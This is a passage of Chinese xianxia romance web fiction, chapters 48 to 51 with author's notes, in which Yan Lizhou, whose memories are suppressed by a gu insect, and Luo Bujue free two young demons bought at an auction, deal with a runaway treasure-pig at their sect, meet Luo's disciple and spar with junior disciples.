他忽然张口咬住洛不觉的脖子,力道不重,齿尖蹭过指节时留下细微的湿意。 环在燕黎舟脖颈的晋绳微微收紧, 想要安抚主人的不安。 燕黎舟放缓了自己的呼吸, 黑长的睫毛轻轻地颤动着, 整个人像是个玻璃做的娃娃,脆弱美丽。 洛不觉身形微顿,任由燕黎舟咬住,另一只手稳稳托着他的后腰。 “骗我……” 燕黎舟松开嘴, 声音闷闷的,“什么也不告诉我……” 洛不觉将燕黎舟稳妥地抱紧,抬头看向蛊娘子,眼神恢复了一惯的冰冷。 “解蛊。” 蛊娘子看到燕黎舟眼睛已经闭上, 嘴上说:“知道了,我一会去熬药。” 但脸上却是对着洛不觉翻了个白眼。 这蛊怎么可能解,那天晚上的事情这人又不是没看见。 蛊解了,阿哥恢复记忆了,谁能保证能再一次把人救回来! 此时,下方拍卖场的气氛已经白热化,所有人的目光都聚集在这件雅室,想着这标着天上白云京的房间内,到底是哪位大能。 拍卖师的声音激动:“两千万上品灵石!还有没有更高的价格?” 洛不觉甚至没有看向台下,漠然开口,声音再次清晰传入每个人的耳中。 “三千万。” 众人又是哗然。 洛不觉则是低头,对着怀里的燕黎舟低语,仅他们两个人能听见的音量。 “我不会让你死的。” 燕黎舟这才有了反应,伸手,勾手抱住洛不觉,呼吸缓慢平稳下来。 等到燕黎舟睡熟了之后,洛不觉才将人松开,转头和一直等待着的蛊娘子对视一眼。 “……” 蛊娘子拿出把匕首划破指尖,袖子里小青缓缓爬出来,缓慢地凑过去吸干净。 她另一只手轻轻点了点小青的脑袋。 “剂量再大会对阿哥身体有损的。” 洛不觉垂眸,那日浑身沾着血污的燕黎舟仿佛就在面前。 站在尸山血海里面,向来鲜艳干净的衣服上被浓稠的血染成骇人的黑色,甚至还在滴滴答答地往下滴血,一滴一滴砸出来个血坑。 脚下踩着的是寨子里面的男女老少。 “魔鬼……” 周围还活着的人颤抖着手指着燕黎舟,几个人缩在一起。 燕黎舟身上环绕着令人胆寒的妖气,双眼通红,冷冷的盯着洛不觉。 他似乎认不出任何人,只是无意识到一遍又一遍撕裂周围靠近他的一切活物。 “燕黎舟!” 洛不觉飞身而至,试图阻止他。回应他的只有裹着妖力的一掌,毫不留情,完全是同归于尽的打法。 洛不觉侧身避开要害,硬生生地受下这一击,也因此靠近了人,不顾一切把人扣在怀里。 周围浓重的血腥气令人作呕。 怀里的人剧烈地挣扎,洛不觉不松手,任由这失控的力量震伤自己。 不知过来多久,挣扎才渐渐减弱。 再后来就是长久的昏迷。 洛不觉将燕黎舟安置好,转头把蛊娘子从一堆尸体里挖出来。 后者呼吸艰难,看着洛不觉,翻了个白眼。 “……” “带阿哥走吧,他会伤了自己的。” 蛊娘子看着燕黎舟的模样,抿唇,好半天盯着天上的红月,轻声道。 她现在无力支撑她的幻境了,寨子里的男女老少被燕黎舟杀了个七七八八…… 索性原本就是死了的傀儡,修复修复还能再用。 “吞情蛊,可以让阿哥忘了今天的事情,这蛊依靠情绪为食……” …… 洛不觉收回思绪,指腹轻轻擦过燕黎舟眼下淡青。 “别让他想起来……他只是一棵小草。” 洛不觉轻声道,抬手指腹碾了一下自己唇角,盯着燕黎舟就不撒眼了。 蛊娘子调动燕黎舟体内的蛊虫,吞掉了阿哥的情绪后,走上前,声音压得极低,带着一丝不易察觉的疲惫和埋怨。 “你也看到了,阿哥现在经不起任何刺激。那晚的事……再来一次,别说我,就算大罗金仙也救不回他。” 她袖中的小蜘蛛微微探首,似乎也在附和。 洛不觉的目光未曾离开燕黎舟,语气冰冷依旧:“我知道。” “阿哥疯起来你和整个云京加起来都不够他杀的!” “还是你想和他一起死?” 蛊娘子盯着洛不觉,再次警告,生气自己当时为什么会答应了阿哥放在他身边。 洛不觉依旧面无表情。 “不会。” “我会他他身边,”他语气平静,“我会阻止他,一次,两次,三次……” 很快,拍卖会就将那个巨大的笼子送到包厢里面。 不知道过来多久,燕黎舟醒过来第一眼就看见守在身旁的洛不觉。 他伸手摸了摸后脑勺:“嘶——” “洛不觉,我头好痛!” 洛不觉给燕黎舟喂下一颗恢复丹药,后者记忆慢慢回笼,他看着周围。 “拍卖会结束了吗?” 洛不觉指尖一顿:“嗯。” “哪里不舒服?” 燕黎舟摇头,紧接着好奇:“我怎么晕过去了?” “体内余毒又发作了。” 他接过洛不觉递过来的温水,闻言撇了撇嘴。 “好吧。” 也不是一次两次了,这毒还挺厉害的嘛。 燕黎舟抿了一口润润嗓子,突然想起什么,问:“那两个小妖怪呢!” 洛不觉带着燕黎舟去看到隔壁房间,他不动声色地观察燕黎舟的情绪。 对方神色如常,没有丝毫不对劲,也没有出现剧烈反应。 那是两个看起来不过人类孩童七八岁模样的妖族,一男一女,身上还带着禁锢法器留下的印痕。 洛不觉挥退侍者,冰冷的视线落在两个小妖身上。 那强大的威压让两个小家伙瑟瑟发抖,却仍倔强地没有移开目光。 尤其是那个小男孩,鼓起勇气直接冲到燕黎舟面前,小小的身子横在洛不觉和燕黎舟中间,将身后的女孩和燕黎舟都挡了挡。 “不、不准你伤害他!” 稍大一点的那个男孩妖壮着胆子喊道,声音发颤,却异常坚定。 另一个小女孩妖也用力点头,紧紧盯着洛不觉,呲牙。 燕黎舟被他们这突如其来的举动弄得一怔,心头却莫名一软。 他蹲下身:“别怕,他不会伤害你们。” 那小女孩猛地摇头,声音尖细。 “坏人!他、他会伤害你!” 小男孩更加激动,指着洛不觉,对着燕黎舟急切地低喊。 “你才刚聚灵!你还是个小崽崽!离他远点!人族最坏了!” 他抓着燕黎舟的衣袖。 “他很强,很危险!人族都会欺负我们妖族!” 男孩出于妖族最直接的本能,他抓着燕黎舟的衣袖,急切地和这个什么都不懂的小妖解释。 小女孩也用力点头,憋着嘴,眼泪在眼眶里打转,忍住不掉。 “嗯!阿爹阿娘就是被人族,我们被抓走……好多同伴都死了!人族和妖族,从来都不容的。” 洛不觉一直盯着燕黎舟,害怕他会因为这两个小妖说的话应激,薄唇轻抿,轻轻退后一步。 燕黎舟安静地听着,他伸出双手,分别轻轻拍了拍两个小妖紧绷的肩膀。 “我知道,”他的声音很轻,带着一种奇异的安抚力量,“我知道人族很坏,知道他们做了很多可怕的事。” 说完燕黎舟顿了顿,微微侧头,余光能瞥见洛不觉静立一旁的身影,如冰似雪,并未因小妖的指控和排斥而有丝毫动容。 燕黎舟又转回头,对着两个依旧充满戒备的小妖笑了笑,笑容明亮。 “但是,”燕黎舟的目光重新回到两个小妖身上,语气认真,“他不一样。他是我的人。” 小男孩愣住了,似乎无法理解。小女孩也眨着泪眼。 “所以呀,不能一杆子打翻一船人对不对?就像妖族里也有好妖和坏妖一样,人族里呢,也有好人。” 燕黎舟冲洛不觉努努嘴,“比如这个冷冰冰的,别看他样子吓人,其实……呃,勉强算个好人吧?至少他救了你们,也没打算把你们怎么样。” 燕黎舟尝试着,将手指轻轻搭在小男孩紧握着他衣袖的手背上。 两个小妖小手冰凉,还在微微颤抖。 “是他把我们带出来的,不是吗?从那场拍卖里。”燕黎舟循循善诱,“如果他是坏人,想伤害我们,为什么还要花那么多灵石把我们买下来?” 两个小妖面面相觑,逻辑简单直接的孩子似乎被这个问题问住了。 燕黎舟递给洛不觉一个眼神。 我哄小孩还是很棒的吧! 看着两个小妖别扭的表情,燕黎舟语气变得认真。 “我知道你们害怕,不想再待在人族的地方。放心吧,我们不会强迫你们留下。” 两个小妖眼睛瞬间亮了,但又有些害怕洛不觉。 “好嘞!”燕黎舟站起身,看向洛不觉,眼神明亮,“洛不觉,送他们回家吧?找个安全点的,人族少点的山林就好。” 洛不觉的视线始终落在燕黎舟身上,对方眼睛明亮,一眨不眨地盯着他,恢复了之前那副小模样,微微颔首。 燕黎舟重新蹲下,对两个小妖露出一个温暖的笑容,摸摸两个小妖的脑袋。 “好了,别怕了。等下就送你们去安全的地方,以后要小心藏好,好好活下去。” “以后机灵点,躲着点人,好好修炼!” “那你呢?” 小女孩拽了下燕黎舟的衣角:“你和我们一起走吗,和那个人类分开。” 她偷偷瞥了眼洛不觉,小声道。 闻言燕黎舟一怔,摇了摇头,凑到小女孩前,轻笑一声,用只有两个人能听见的声音道。 “不了,哥哥离不开他了。”—— 作者有话说:揉揉膝盖:我站起来了![撒花] 晚安呐~ 第49章 两人刚回到天上白云京, 还未及喘口气,就听见一阵急促的钟声敲响。 “又来了……” 路过的弟子纷纷扶额,脚步却都很诚实地往校场方向挪。 “走走走, 看热闹去!” 燕黎舟眉梢轻挑, 很是自来熟地扯住一个行色匆匆的弟子。 “这位师兄, 发生何事?” 那弟子见是洛师叔和他带回来的那位贵客, 连忙行礼, 表情一言难尽。 “是药庐的那只寻宝豚又跑出来了!” “寻宝豚?”燕黎舟好奇。 旁边洛不觉眉头微蹙,似乎知道那是什么东西。 两人来到校场, 只见原本庄严肃穆的擂台区域一片鸡飞狗跳。 一只圆滚滚的披着淡金色柔软短毛, 鼻子像个小铲子似的灵兽,正撅着屁股,疯狂地用它的铲子鼻拱着擂台边缘的一块青石板, 发出“哼哧哼哧”的欢快声音。 慕容古师兄站在一旁,脸色黑如锅底,他那把标志性的大刀插在身边地上,刀柄都在微微颤抖, 显然气得不轻。 几个弟子围在周围, 试图用灵果引诱, 或用束缚术法,但那小猪异常滑溜,总能扭着胖身子躲开,一门心思刨它的坑。 “这孽畜!又惦记我埋在擂台四角的沉山石!那是为了稳固擂台阵法用的!” 慕容古气的咬牙, 却又顾忌着不能真一刀劈了这药老的宝贝疙瘩。 打不得骂不听! 那寻宝豚似乎感知到了沉山石的厚重土系灵力,刨得越发起劲,小短尾巴兴奋地直摇。 燕黎舟看得有趣,碰了碰身旁的洛不觉:“这东西……就没人能管?” 洛不觉面无表情:“药老宠它, 无法无天。” 言下之意,大家投鼠忌器。 眼看那石板就要被撬开,慕容古的脸更黑了。 燕黎舟眼珠一转,忽然从袖袋里摸出个小玩意儿。 那是几个鸽子蛋大小的石头,最开始遇到公羊胜时从他身上搜刮下来的。 燕黎舟蹲下身,对着那撅屁股的小猪的方向,两颗石头轻轻磕了一下,发出清脆的响。 那寻宝豚的小铲子鼻猛地耸动了两下,哼哧声戛然而止。 它抬起头,黑豆似的小眼睛迷茫地转了转,瞬间锁定了声音的来源。 什么沉山石,立刻被抛到了九霄云外! “哼唧!” 它发出一声欢快的叫声,扭着圆滚滚的身子就朝燕黎舟冲来,围着他的脚边兴奋地打转,小鼻子拼命嗅着,试图去够他手里的东西。 燕黎舟笑着抬高手里的石头:“想要这个?” 他就知道公羊胜那人不会在身上揣几个没有用的石头玩。 “哼唧哼唧!”寻宝豚急得直蹦跶。 慕容古和众弟子:“……” 这就解决了? 燕黎舟用力,石头被他远远丢出去,寻宝豚立刻撒欢般冲过去,鼻子供着石头陶醉地嗅个不停,再也不管什么擂台沉山石了。 慕容古松了口气,指挥弟子赶紧加固石板。 他复杂地看了一眼燕黎舟,最终还是别扭地冲洛不觉点了点头。 洛不觉垂眸,看着正得意洋洋逗弄小猪的燕黎舟,眼底掠过一丝极淡的笑意。 “走吧,”洛不觉开口,“它找到新的玩具,能安静半天。” 燕黎舟拍拍手站起身,笑嘻嘻道:“没想到这石头还能这么用。洛仙长,我这算不算又立一功?” 洛不觉瞥他一眼,未答,只道:“回去休息。” 这时候陆乐水和司徒文不知道从哪里钻出来,悄悄摸摸地伸手拽了拽燕黎舟的衣服。 “快走快走快走快走!” 陆乐水的嘴好像被热水烫了一样,一直秃噜着快走。 慕容古指挥弟子加固青石板,脸色稍霁,但看着那罪魁祸首,仍是气不打一处来。 他骂了一句,随即环视四周,声如洪钟。 “今日是谁负责打扫药庐兽栏?怎又让它跑了出来!” 人群一阵骚动,弟子们面面相觑。 “慕容师叔,弟子早间检查过笼栓,扣得死死的……” “死死的那它能在这儿刨我的沉山石?!”慕容古眼睛一瞪。 药老姗姗来迟,正想偷偷把自己的猪提走,慕容古却抢先一步,伸手拽住猪的后脖子,并摸了一手黏糊东西。 猪身上淡金色的柔软短毛中,隐约能看见点紫色浆果残渍,甚至还粘着几片叶子。 慕容哥浓眉一拧,俯身细看:“这是……紫浆果?后山悬崖边上才长的那几株?” 药老一看那残渍,顿时吹胡子瞪眼,手里的药杵指向人群后方几个试图缩起来的陆乐水两人。 “陆乐水!是不是你个小兔崽子又去偷摘我的紫浆果喂它了?!” “跟你说过多少次,那玩意儿迷幻成分太高,这夯货吃了兴奋得能拆家!” 躲在人后的陆乐水浑身一僵,司徒沃也跟着是一脸“完了”的表情。 药老气得跺脚。 “我的紫浆果啊!今年就结了那么几个!” 慕容古没好气地瞪了那俩惹祸精一眼,哼了一声。 “居然如此,你们两个去后山,给我亲手凿十块沉山石回来!尺寸误差不得超过半分!凿不完不准回来!” “十块?!”陆乐水眼睛都瞪圆了,委屈求饶:“慕容师叔!那石头又硬又沉……” “二十块。”慕容古面无表情。 慕容古斜药老一眼:“还有你那猪。” 他目光扫过寻宝豚,“关它三日禁闭,饿一饿,正好清清肠胃!” 那寻宝豚仿佛听懂了,“哼唧”一声,丢开石头,瑟瑟发抖地往药老脚边缩。 “饿三日?慕容黑脸!你想饿死我的宝崽啊!” 药老顿时不干了,一把将寻宝豚护在身后,吹胡子瞪眼。 “慈母多败儿!就是你这般纵容,它才屡教不改,贪吃成性!” “它还是个孩子!贪吃怎么了?你那破石头比活生生一条命还重要?我看你就是借题发挥!” “我借题发挥?是你纵兽行凶!” “你蛮不讲理!” 燕黎舟在一旁看得津津有味,脸侧向身旁的洛不觉,压低声音偷笑。 洛不觉瞥了一眼那俩面无人色的师侄,又看看身边唯恐天下不乱的燕黎舟,轻轻地勾了下嘴角。 两人对着笑。 洛不觉没有阻止的意思,两位师叔长辈吵得不可开交,周围弟子都不敢上前劝解。 “慕容师叔,药老。” 突然一道清冷的声音传来打断了两人的争吵。 人群之外,一个穿着核心弟子服饰的女子,一双眼睛又冷又冰,单眼皮,面无表情扫过人群。 “都没事干了吗?”她道。 周围弟子顿时如鸟兽散,瞬间溜得干干净净。 陆乐水反应最快,扯着还在发懵的司徒沃,趁机混入人群溜之大吉。 女子这才抬头看向中心的慕容古和药老,缓步上前各行一礼,声音平静无波,不带丝毫情绪。 “师叔,药老,掌门命我前来,请二位前往议事堂。” “嗯。” “哦,好的,知道了。” 慕容古与药老竟是同时应声。慕容古抱臂,二话不说转身就走,不发一言。 药老留下来还寒暄了一句:“听南啊,你这趟回来了,受伤了没有?” 卜听南面色毫无波动:“没有。” “嗯……哈哈,跟你那师尊真是一个性子。” 药老小声嘀咕一句,也走了。 燕黎舟看着戏呢,闻言用手肘怼了怼洛不觉,侧头压低声音。 “她是谁啊,管慕容古叫师叔,是哪个的徒弟?” “卜听南。”洛不觉介绍了一句,顿了顿,补充了最关键的一句。 “我的徒弟。” 燕黎舟:“……?” 他猛地转过头,眼睛微微睁大,看看那边面色冷然地朝这边走来的女弟子,又看看身边这位同样冷得能冻死人的洛仙尊。 徒弟?! 洛不觉居然有徒弟?! 什么时候有的,原著里不是只有男主谢灯一个吗,这个卜听南又是从哪钻出来的? 就在燕黎舟皱着眉消化这个惊人消息时,卜听南已行至洛不觉面前,依旧是那副面无表情的样子,恭敬行礼,声音平稳无波。 “师尊。” 动作标准得挑不出一丝错处,却也看不出多少师徒间的热络。 然后,她那冷冰冰的视线转向了洛不觉身边的燕黎舟,淡淡开口。 “这位就是……师娘?” 卜听南那声“师娘”问得平铺直叙,音调毫无起伏,仿佛只是在说一件再寻常不过的事情。 燕黎舟脸上的表情猛地僵住,眼睛难以置信地眨了眨,怀疑自己耳朵出了毛病。 洛不觉没答,转问:“师兄找他们有什么事?” “可以是宗门大比。” 卜听南扭过头,非常坦然地补充道:“我乱编的。” “太多人在这,打扰我练武。” 洛不觉对此等公然假传“圣旨”的行径并无丝毫表示,像是早已习惯,只极轻地颔首:“嗯。” 燕黎舟在一旁,看看一脸“我编了怎么着”的冷面徒弟,又看看一脸“哦”的仿佛理所当然的冰山师尊。 一模一样的冷脸和惜字如金的对话,赶紧抿住嘴,眼睛弯弯的,看看这个,又看看那个,只觉得这场面有趣的紧。 卜听南的目光再次落到笑得东倒西歪的燕黎舟身上。 冷冰冰的眼里掠过一丝极淡的疑惑,仿佛不明白这有什么好笑。 但她也没再多问,只是重新看向洛不觉,一板一眼地请示:“师尊若无他事,弟子先去练剑。” “嗯。” 卜听南利落转身,径直走向另一端的空置武试台。 她没有使用任何身法,一步步走过去,背影挺直。 到了台上,卜听南反手抽出长剑,剑身清亮如水,没有任何多余的花哨动作,完完全全是实战的路子,狠辣又高效。 燕黎舟原本还带着笑意,看着看着也不禁挑眉,一脸欣赏和不敢相信。 “啧,你徒弟?”—— 作者有话说:师姐的名字我前前后后换了有三四版,最后选定了这个。 太仓促了,大纲中一开始想的名字有些太浮夸了,感觉如果不是要发了,我可能还会多换几个[三花猫头] 大师姐出场, 噔噔噔噔噔![墨镜] (又一个人物出场!还剩下一两个主要的好像,完结的曙光吧啦吧啦吧[饭饭]) 第50章 两人刚走出不远, 还未离开校场范围,天际骤然传来一声急促尖锐的钟鸣。 一声紧过一声,带着急促的警示意味, 瞬间传遍整个天上白云京! 几乎同时, 一道流光疾速破空而来, 精准地悬停在洛不觉面前。 是一枚紧急传讯玉符。 洛不觉伸手握住玉符, 灵力注入, 沈齐凝重急切的声音立刻响起,不复平日温和: “速来新殿!分界线告急, 魔族冲击壁垒, 多地已现裂缝!各位长老即刻集结!” 玉符在传完讯息的瞬间燃尽,化作细灰飘散。 卜听南听到动静停下练剑,她持剑而立, 面色冷峻,看向洛不觉。 “师尊。” 洛不觉目光在她和燕黎舟身上短暂停留一瞬。 “嗯!”卜听南毫不迟疑道,瞬间进入戒备状态,不用师尊说她也知道该干什么。 洛不觉看向燕黎舟, 眉头微不可察地蹙起。 眼下情况未明, 将他独自留下…… 但只一秒, 洛不觉不再犹豫,上前一步,指尖扯了扯燕黎舟的红绳。 “找不到我了,它知道。” 说罢, 洛不觉甚至来不及再多交代一句,身形一闪。 燕黎舟甚至没来得及反应,只觉得腕间一凉,再抬眼时, 眼前已没了洛不觉的身影。 校场空荡,风声鹤唳。 卜听南持剑,飞身护在他身侧半步之前,冷冰冰道:“师……燕前辈,请跟紧我。” 她姿态冷硬却尽职地将燕黎舟护在防御范围内。 燕黎舟垂眼,肩膀上“啾啾”地飞下来糖饼,小家伙似乎也感知到气氛紧张,蹭着他的脸颊。 他伸手逗弄了它几下,对卜听南笑了笑 “不用管我,我随便在宗门里走走,丢不了。” 她看了看燕黎舟手腕,又瞥了一眼师尊离去的方向,最终冷硬地一点头。 卜听南身形一闪,也迅速消失在原地。 燕黎舟轻轻呼了口气,揉了揉糖饼的小脑袋:“好啦,就剩咱俩了。” “啾啾~” 糖饼震惊地看着燕黎舟伸手取物,手上拿着不远处摆放着的大刀武器,一双眼睛圆溜溜地看看燕黎舟又看看摆放大刀的位置。 燕黎舟掂了掂手中沉甸甸的大刀,手腕翻转,试着挽了个刀花。 动作竟出乎意料地流畅。 “糖饼,我最近是不是厉害了好多。” “惊讶吧,我也很惊讶,一觉醒来我啥都会了!” 燕黎舟乐滋滋地显摆,手里的大刀挥得虎虎生威。 “或许这就是天赋吧。” “啾!” 燕黎舟眉眼弯起,还想再说点什么,不远处忽的传来一声略带轻佻的口哨声。 “哟,这是哪来的美人,在校场玩这么危险的东西?” 燕黎舟循声望去。 只见两个身影正朝这边走来。 前面一人穿着内门弟子服饰,嘴角噙着抹玩味的笑意,眼神灵动地打量着燕黎舟。 他身后几步远处,跟着一个身姿挺拔面容俊朗却极为冷淡的青年,一袭白衣,背负长剑,周身气息沉静。 糖饼立刻“啾”地叫了一声,飞起来,警惕地落在燕黎舟头顶,小翅膀微微张开。 陆星华和谢灯一前一后,前者笑嘻嘻地凑得更近了些,几乎要贴上燕黎舟,那双桃花眼亮晶晶的,毫不掩饰其中的兴趣。 手指指着自己:“燕前辈!还记得我不?” “燕前辈。” 谢灯行完礼,目光平静地扫过燕黎舟,在他手中的大刀上停留了一瞬,但依旧沉默。 燕黎舟被陆星华过于热情的态度逼得微微后仰。 糖饼在他头顶不满地“啾啾”叫着,用小喙试图啄陆星华凑得太近的额发。 “记得。” 燕黎舟干巴巴地应道,手腕下意识一转,将大刀收到身侧,隔开一点过于贴近的距离。 “燕前辈,上次一别,我可想你了!”他语气夸张,眼睛亮晶晶地盯着燕黎舟的脸。 “怎么一个人在这儿玩刀?多无趣。” 糖饼:“啾啾!” 陆星华仿佛才注意到糖饼,夸张地哇了一声:“这小鸟儿真别致!前辈养的?一看就机灵,跟前辈您一样!” 燕黎舟失笑,陆星华嘴皮子利索,滑不溜秋的。 “有事?”他轻轻挑眉问道。 “哎哟,没事就不能来跟您打个招呼,交流交流感情嘛?” 陆星华笑嘻嘻的,视线在他和那柄大刀之间来回转。 “不过这制式的刀太重了,不适合前辈这样……嗯……风姿卓越的人物。” 他目光又在燕黎舟脸上转了一圈,语气带着点夸张的赞叹。 “我这有把轻巧的灵刃,薄如蝉翼,亮如秋水,配前辈正合适,要不要试试?” 燕黎舟拒绝:“不了,我随便玩玩,不大会使这些。” “正好我和谢师弟要去那边的演武台过过招,前辈有没有兴趣一起来活动活动?” 他挤挤眼,“放心,我和谢师兄刚结束一轮对练,现在就是随便玩玩,不会累着前辈您的。” 一直沉默的谢灯终于开口,声音依旧没什么起伏,却是对着陆星华:“你话太多。” 陆星华浑不在意地摆摆手:“哎呀谢师弟,我这是热情好客!” 说完他又眼巴巴地看向燕黎舟。 “行啊。” 燕黎舟觉得可以,爽快点头,将大刀轻松提起。 “好嘞!”陆星华立刻眉开眼笑,仿佛生怕他反悔,赶紧侧身引路。 “这边来这边来!小心脚下哈!” 谢灯没说什么,只是默默转身,走在最前。 糖饼飞起来,绕着燕黎舟飞了一圈,似乎有点不满又要动武,但还是乖乖落在了他的肩膀上,小脑袋蹭了蹭他的脖颈。 三人一鸟很快来到了附近一处开阔的演武台。 台面由坚硬的青石铺就,四周设有防护结界。 陆星华第一个跳上台,活动着手腕脚腕,笑嘻嘻道。 “前辈,咱们怎么玩?要不先我和您来一场?让谢师兄先歇歇,他刚才可被我揍得不轻。” 说着他故意冲谢灯抛去一个挑衅的眼神。 谢灯面无表情地站在台下,连眼神都懒得给他一个,只淡淡道:“吹牛之前,先擦干净脸上的灰。” 陆星华下意识摸了下脸,果然有点尘土,估计是刚才对练时沾上的。 他讪讪一笑,也不尴尬,转而看向燕黎舟:“闷葫芦!咱们俩玩。” 燕黎舟将糖饼轻轻放到台下的安全处,顺着台阶一步一步走上演武台。 心里吐槽这大刀确实也太重了点吧,但面上不变。 “前辈小心了!” 陆星华收敛了几分玩笑,手中灵光一闪,多了一对造型奇特的短刺。 身形一晃,便如鬼魅般欺近身前,短刺直点燕黎舟手腕,意图明显,想让他撒手弃刀。 他速度快,角度刁钻,确实是顶尖弟子的水准。 然而,在燕黎舟眼中,他的动作却好像被放慢了些许。 身体几乎是本能地反应,手腕一沉,刀柄下压,精准地格开短刺,同时刀身借着反弹之力向上撩起,直接攻击陆星华的脸。 陆星华“咦”了一声,显然没料到燕黎舟反应如此迅捷精准,急忙后撤旋身,短刺交错护在身前。 “铛!” 陆星华被震得手臂微麻,脸上的笑容瞬间僵住,动作戛然而止,差点自己撞到刀尖上。 糖饼在他头顶骄傲地挺起小胸脯:“啾!” 陆星华额角一滴冷汗滑落,他干笑两声,小心翼翼地地往后挪了半步,避开了那慑人的刀锋。 “燕前辈,好身手啊!”他讪讪地收回自己的武器。 “这刀法,看着不像随便玩玩。” 陆星华的语气听起来有点委屈。 “嗯,”燕黎舟手腕一翻,大刀再次轻巧地拄回地面。 他语气轻松,带着点自己也刚弄明白的恍然。 “可能是……天赋异禀?” 陆星华:“……” 他第一次被人用“天赋”二字堵得说不出话。 台下谢灯行礼:“燕前辈,师尊唤我,先走一步。” 说完转身就走。 “不玩了不玩了。” 陆星华也耍赖,大手一挥:“你欺负人。” “作为补偿,你陪我逛逛。” 他目光落在燕黎舟握刀的手上,语气变得一本正经,只是眼底的笑意泄露了他的真实想法。 “或者我陪前辈逛逛?” 燕黎舟还没来得及拒绝,陆星华又像是突然想起什么,猛地一拍手。 “啊!我知道有个好地方,这会儿肯定清静,景致还好,那边小径过去一点有个观云亭!能看见整个天上白云京!” “前辈有没有兴趣?” 他一边说,一边非常自然地就想伸手去拉燕黎舟的手腕,意图明显地想将人带走。 燕黎舟蹙眉,手腕一翻避开接触。 “哎呀,前辈跟我还客气什么!” 陆星华打断他,脸皮厚得仿佛没听出拒绝,反而又逼近半步,压低声音,眼神往已经走远了些的谢灯背影瞟了瞟,做出嫌弃的表情。 “总比跟着某些闷葫芦冰块脸有意思吧?跟我走,保证不让前辈无聊!” 糖饼:“啾!啾啾!” 燕黎舟被他缠得有些无奈,正想严词拒绝,却见已经走出十余步的谢灯忽然停下了脚步。 谢灯并未回头,清冷的声音却清晰地传了过来,带着一丝不易察觉的命令口吻。 “陆星华。” 仅三个字,没有多余的话。 陆星华身形一顿,脸上灿烂的笑容僵了一下,随即垮下肩膀,夸张地叹了口气。 “唉……来了来了!” “你师尊找你又不是我师尊找我,一天天的干叫我做什么。” 他恋恋不舍地回头又看了燕黎舟一眼,飞快地眨了下眼,用口型无声地说道:“等下我哦~” 说完,他才不情不愿地转身,小跑着追上前面的谢灯—— 作者有话说:是的,我们小燕子转实力派了![墨镜] 前面有很多姐妹没有看懂,是我的问题,没表达出来,很多中间的剧情由于燕黎舟失忆了所以我没有写[闭嘴][闭嘴] 在中间插了一段失忆前的剧情,小燕子也不知道之前自己发生了什么,可能看着就有些混乱[裂开] 等到后面小燕子记忆恢复,我们全程跟着小燕子的视角走[亲亲][亲亲][可怜] 晚安! 50-60 第51章 燕黎舟看着两人一前一后消失, 松了口气,抬手将头顶气鼓鼓的糖饼捧下来。 “好了好了,吵人的走了。” 糖饼在他手心蹭了蹭, 小声:“啾……” 燕黎舟失笑, 捧着糖饼, 指尖无意识地梳理着小家伙的绒毛, 抬头又看了一眼两人消失的方向。 自言自语:“现在剧情到哪了?男主后宫怎么还一个没有呢?” 糖饼在他掌心仰起小脑袋:“啾?” “没事, ”燕黎舟摇摇头,把它放回自己肩头。 “不重要。” 他掂了掂手里的刀, 正打算继续研究一下自己这“突如其来”的天赋。 燕黎舟带着糖饼, 刚沿着校场边缘走出没多远,身侧的空气微微波动,一道身影无声无息地出现在他身旁。 是洛不觉。 他依旧是一身清冷, 只是周身还带着一丝散不尽的寒冷气息。 “情况如何?”燕黎舟停下脚步,转头看他,语气里带着自然的询问,并无多少惊诧。 糖饼也“啾”地叫了一声, 算是打招呼。 洛不觉的视线与他交汇, 言简意赅, 声音一如往常的清冷。 “分界线数处出现裂缝,现在已被暂时遏制,长老们也分头前往镇压稳固。” “现在已经无事。” “宗门大比在即,届时各个宗门皆会齐聚来此。” “近期宗门内巡防会加强, 你若外出,避开阵法节点与禁地即可,无人会阻拦你。” 燕黎舟了然:“明白,不会乱走的。” “还有一事。”洛不觉开口。 燕黎舟疑惑地看向他:“嗯?” 洛不觉手腕一翻, 一柄折扇凭空出现在他掌心。 那扇骨乌黑,扇面流畅,其上用极细的金线勾勒出几茎看似随意的小草,简洁清雅。 “看看是否合手。” 燕黎舟愣住了,眼睛微微睁大。 糖饼也好奇地探出小脑袋,“啾”了一声,似乎在打量这个新玩意儿。 “做好了?”燕黎舟下意识地接过扇子。 入手微凉,重量恰到好处,扇骨打磨得极其光滑温润,扇面柔软却有韧劲。 洛不觉解释:“我另加固了几重防护符文,注入灵力,可随你心意,化攻化守。” 燕黎舟爱不释手地摩挲着扇骨和冰凉丝滑的扇面,尝试着将一丝微弱的妖力注入其中。 他指尖微微用力。 唰! 扇面应声展开,流畅无比。 他又心念一动,想着“收”。 扇面瞬间合拢,严丝合缝,化作一柄看似无害的乌玉尺般,安静地躺在他手中。 燕黎舟听得认真,将扇子合起又打开,反复摩挲,爱不释手。 糖饼也好奇地从他肩头飞下来,小心地用喙啄了啄合拢的扇骨,抖了抖羽毛又“啾”地一声飞回原位,歪着小脑袋打量这新玩意儿。 “啾啾。” 洛不觉看着燕黎舟的笑容,阳光为他周身镀上一层金边,眼角眉梢都染上这鲜活的颜色。 这人笑容太有感染力,也太具侵略性,仿佛能轻易瓦解所有心防。 洛不觉眼神柔和了一瞬,但很快又恢复了平日的清冷。 “嗯,给它取个名字吧。” “嗯……就叫无妄吧。” “无妄?”洛不觉视线停在那把扇子上面。 “嗯,”燕黎舟指腹在扇骨上面摩挲。 原著里洛不觉拿着这块乌铁做的是把剑,取名—— 无妄! “燕前辈!燕前辈~等一下!” 忽然一道声音由远及近,伴随着略显急促的脚步声。 燕黎舟诧异地回头,洛不觉也跟着抬眸看向声音传来的方向。 只见陆星华又去而复返,一个人气喘吁吁地跑回来,脸上还是那副笑嘻嘻的模样,只是发丝稍显凌乱。 他看见洛不觉,端端正正行了个礼。 “洛师叔。” 说完他朝着燕黎舟抛了个媚眼。 燕黎舟:“……” 啧! 洛不觉:“有事?” 陆星华伸手指尖蹭蹭额前的碎发,脸皮厚着问:“燕前辈一会儿有没有什么安排?” 燕黎舟没回答,挑眉。 “额,洛师叔一会很忙吧?” 洛不觉:“不忙。” 陆星华被洛不觉这干脆利落的“不忙”二字噎得一怔,脸上的笑容僵了僵。 但随即又恢复那副嬉皮笑脸的模样,眼神在燕黎舟和洛不觉之间溜了一圈。 “啊?洛师叔您……不忙啊?”他拖长了调子,似乎有些遗憾,又有些意料之外。 “那……真是太好了!正好,我有个关于阵法的小问题,想请教一下燕前辈。” “听说……燕前辈对此阵法也颇有见解。” 他这话转得生硬,明显是临时找的借口,想把“二人行”变成“三人行”。 或者更准确地说,是想在洛不觉的眼皮子底下,继续黏着燕黎舟。 “你听谁说的?” 